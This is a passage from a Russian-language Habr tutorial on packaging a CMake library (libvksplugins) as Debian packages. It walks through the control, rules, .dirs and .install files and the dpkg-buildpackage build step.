Мой персональный ответ на данный вопрос, заключается в том, что такое разбиение помогает структурировать программу по тому, как я хочу с ней работать. Для разработки я поставлю dev пакет, а для использования нет.
Кроме описанных выше пакетов, можно создать dbg пакет с отладочной сборкой программы. Это может пригодиться, если программа падает и у Вас есть под рукой отладчик. Однако, я так и не смог понять как это делать. [Документация](https://wiki.debian.org/DebugPackage) не дает ответа на этот вопрос. Если делать так как описано в ней, то я либо получаю пустой пакет либо получаю кучу ошибок при сборке.
Схема на рисунке выше показывает, что пакет с исходниками называется **libvksplugins\_source**, однако, в файле control указано, что пакет с исходниками будет называться **libvksplugins**. На самом деле, он действительно будет называться **libvksplugins**, а пакет с бинарниками, будет называться **libvksplugins… deb**. Суть этой путаницы в том, что пакет с исходниками представляет собой tar архив и служебные файлы, тогда как пакет бинарников это архив с расширение deb.
**Настройка пакета библиотеки** Посмотрим внимательно на описание пакета библиотеки:
`Package: libvksplugins
Architecture: any
Depends: ${shlibs:Depends}, ${misc:Depends}
Description: Library for creating plugins with VKS 2
This library provides a mechanism for creating plugins
to use in project VKS 2.`
Параметр **Architecture** устанавливает архитектуру собираемого пакета. Значение **any** означает, что после сборки бинарников нужная архитектура будет подставлена системой сборки. Т.е. на 64х битной машине, получится пакет **...\_amd64...** а на 32х битной пакет **...\_i386...**.
Для пакетов, содержащих скрипты или тексты, нужно указывать значение как **all**.
Третья строка, описывает зависимости создаваемого пакета. Вот как она описана в [4й главе](https://www.debian.org/doc/manuals/maint-guide/dreq.ru.html) Руководства начинающего разработчика Debian:
> Утилита **dh\_shlibdeps** вычисляет зависимости двоичного пакета от общих библиотек. Она генерирует список исполняемых файлов ELF и общих библиотек, которые находит для каждого двоичного пакета. Этот список подставляется вместо **${shlibs:Depends}**.
>
>
>
> Утилита **dh\_perl** вычисляет зависимости Perl. Она генерирует список зависимостей от perl или perlapi для каждого двоичного пакета. Этот список подставляется вместо **${perl:Depends}**.
>
>
>
> Некоторые команды пакета debhelper могут добавлять зависимости к вашему генерируемому пакету. Каждая команда генерирует список необходимых пакетов для каждого двоичного пакета. Этот список подставляется вместо
>
> **${misc:Depends}**.
>
>
>
> Утилита **dh\_gencontrol** генерирует файл **DEBIAN/control** для каждого двоичного пакета, заменяя **${shlibs:Depends}**, **${perl:Depends}**, **${misc:Depends}** и т.д на полученные значения.
Т.е. эта строка говорит о том, что сборщик пакета сам определит зависимости.
Последний раздел данной секции это описание пакета. Первая строка содержит кратное описание, последующие строки содержат более подробное описание. Подробное описание, должно иметь определенный формат:
* строка должна начинаться с пробела;
* строка не должна быть длиннее 80 символов;
* пустая строка должна начинаться с пробела и состоять из символа точки.
**Настройка пакета заголовочных файлов** Пакет с заголовочными файлами, будет называться libvksplugins-dev, вот его описание:
`Package: libvksplugins-dev
Section: libdevel
Architecture: any
Depends: libvksplugins (= ${binary:Version}), ${misc:Depends}
Description: Development package for libvksplugins
This package provides development files for
library libvksplugins.
.
Also, it contains pkg-config file, to use.`
В данном примере, интересна строка **Depends**. В ней указано, что данный пакет будет зависеть от пакета библиотеки **libvksplugins**, причем (**= ${binary:Version}**) говорит о том, что необходимо строгое совпадение версий бинарного пакета и пакета разработчика. Это важный момент потому, что заголовочные файлы должны строго соответствовать бинарникам.
**Настройка пакета документации** Вместе с библиотекой поставляется документация, чтобы она была в отдельном пакете, добавляем его описание:
`Package: libvksplugins-doc
Architecture: all
Depends: ${shlibs:Depends}, ${misc:Depends}
Description: Documentation for libvksplugins
Package contains html documentation files for libvksplugins`
Тут должно быть все понятно.
rules
-----
Данный файл является аналогом Makefile для сборки пакетов. По умолчанию, он создается в таком виде:
```
$ cat rules
#!/usr/bin/make -f
# See debhelper(7) (uncomment to enable)
# output every command that modifies files on the build system.
#DH_VERBOSE = 1
# see EXAMPLES in dpkg-buildflags(1) and read /usr/share/dpkg/*
DPKG_EXPORT_BUILDFLAGS = 1
include /usr/share/dpkg/default.mk
# see FEATURE AREAS in dpkg-buildflags(1)
#export DEB_BUILD_MAINT_OPTIONS = hardening=+all
# see ENVIRONMENT in dpkg-buildflags(1)
# package maintainers to append CFLAGS
#export DEB_CFLAGS_MAINT_APPEND = -Wall -pedantic
# package maintainers to append LDFLAGS
#export DEB_LDFLAGS_MAINT_APPEND = -Wl,--as-needed
# main packaging script based on dh7 syntax
%:
dh $@
# debmake generated override targets
# This is example for Cmake (See http://bugs.debian.org/641051 )
#override_dh_auto_configure:
# dh_auto_configure -- \
# -DCMAKE_LIBRARY_PATH=$(DEB_HOST_MULTIARCH)
```
Видно, что это bash скрипт с синтаксисом Makefile. Единственная интересная конструкция здесь это
```
%:
dh $@
```
Это шаблон, который для всех целей вызывает dh команду с передачей аргументов ей. Для сборки пакета важно, чтобы текст **dh $@** начитался с символа табуляции. Т.е. отступ это не пробелы, а табуляция.
Т.к. исходники используют систему сборки CMake, то нужно изменить эту запись следующим образом:
```
%:
dh $@ --buildsystem=cmake
```
Содержимое пакетов
------------------
После того, как мы указали в **debian/control** какие пакеты мы хотим получить, нужно указать какие файлы в какой пакет помещать. Для этого, для каждого названия пакета из файла **control**, нужно создать в папке **debian** два файла. Первый должен называться **пакет.dirs**, а второй **пакет.install**. Суть файлов в том, что первый указывает, какие папки нужно создать для пакета, а второй, какие файлы включить в пакет.
Посмотрим на их содержимое:
```
$ cat libvksplugins-dev.dirs
usr/lib
usr/include
$ cat libvksplugins-dev.install
usr/include/*
usr/lib/lib*.a
usr/lib/lib*.so
usr/lib/pkgconfig/*
usr/share/pkgconfig/*
```
Важный момент, отсутствие начальной дроби в путях и отсутствие дроби в конце пути к папке. Проверив, куда CMake устанавливает файлы библиотеки, можно сформировать такие файлы:
```
$ for item in $(ls libvksplugins*); do echo "$item:"; cat $item; done
libvksplugins-dev.dirs:
usr/include/dep572
usr/lib/pkgconfig
libvksplugins-dev.install:
usr/include/dep572/plugins/*
usr/lib/dep572/lib*.so
usr/lib/pkgconfig/*
libvksplugins.dirs:
usr/lib/dep572
libvksplugins-doc.dirs:
usr/share/doc/libplugins-0.1
libvksplugins-doc.install:
usr/share/doc/libplugins-0.1/*.tgz
libvksplugins.install:
usr/lib/dep572/lib*.so.*
```
Завершение настройки
--------------------
Т.к. исходники мои, то никаких дополнительных описаний и ограничений copyright у меня нет, поэтому я удаляю все лишние файлы из каталога debian.
Сборка пакетов
--------------
После настройки, сборка пакетов происходит довольно просто, нужно в папке проекта (которая включает подпапку debian) выполнить команду:
```
$ dpkg-buildpackage -rfakeroot -us -uc
```
Параметры **-us -uc** говорят о том, что не нужно подписывать gpg ключом созданные пакеты. Их можно не использовать, если настроен ключ подписи gpg по умолчанию. Как указать ключ подписи по умолчанию, я тоже не понял. Если все прошло хорошо, то у нас поваляется набор пакетов в папке выше:
```
$ ls -l ../
итого 748
drwxrwxr-x 10 user user 4096 авг. 20 10:46 libvksplugins-0.1
-rw-rw-r-- 1 user user 2210 авг. 20 10:47 libvksplugins_0.1-1_amd64.changes
-rw-r--r-- 1 user user 6418 авг. 20 10:47 libvksplugins_0.1-1_amd64.deb
-rw-rw-r-- 1 user user 1504 авг. 20 10:46 libvksplugins_0.1-1.debian.tar.xz
-rw-rw-r-- 1 user user 1008 авг. 20 10:46 libvksplugins_0.1-1.dsc
-rw-rw-r-- 1 user user 36713 авг. 19 14:52 libvksplugins_0.1.orig.tar.gz
-rw-r--r-- 1 user user 3262 авг. 20 10:47 libvksplugins-dev_0.1-1_amd64.deb
-rw-r--r-- 1 user user 699564 авг. 20 10:47 libvksplugins-doc_0.1-1_all.deb
```
Заключение
----------
Если вы дочитали до сюда — значит вы любите читать.
Этот текст является результатом моего опыта внедрения deb пакетов на работе. Опыт показал, что наличие сетевого репозитория (reprepro) и внимательное отслеживание версий, позволяют без проблем обновлять и тестировать различные версии ПО на парке из 30 машин с системами Astra Linux 1.3, 1.4 и Эльбрус ОС. | https://habr.com/ru/post/282217/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.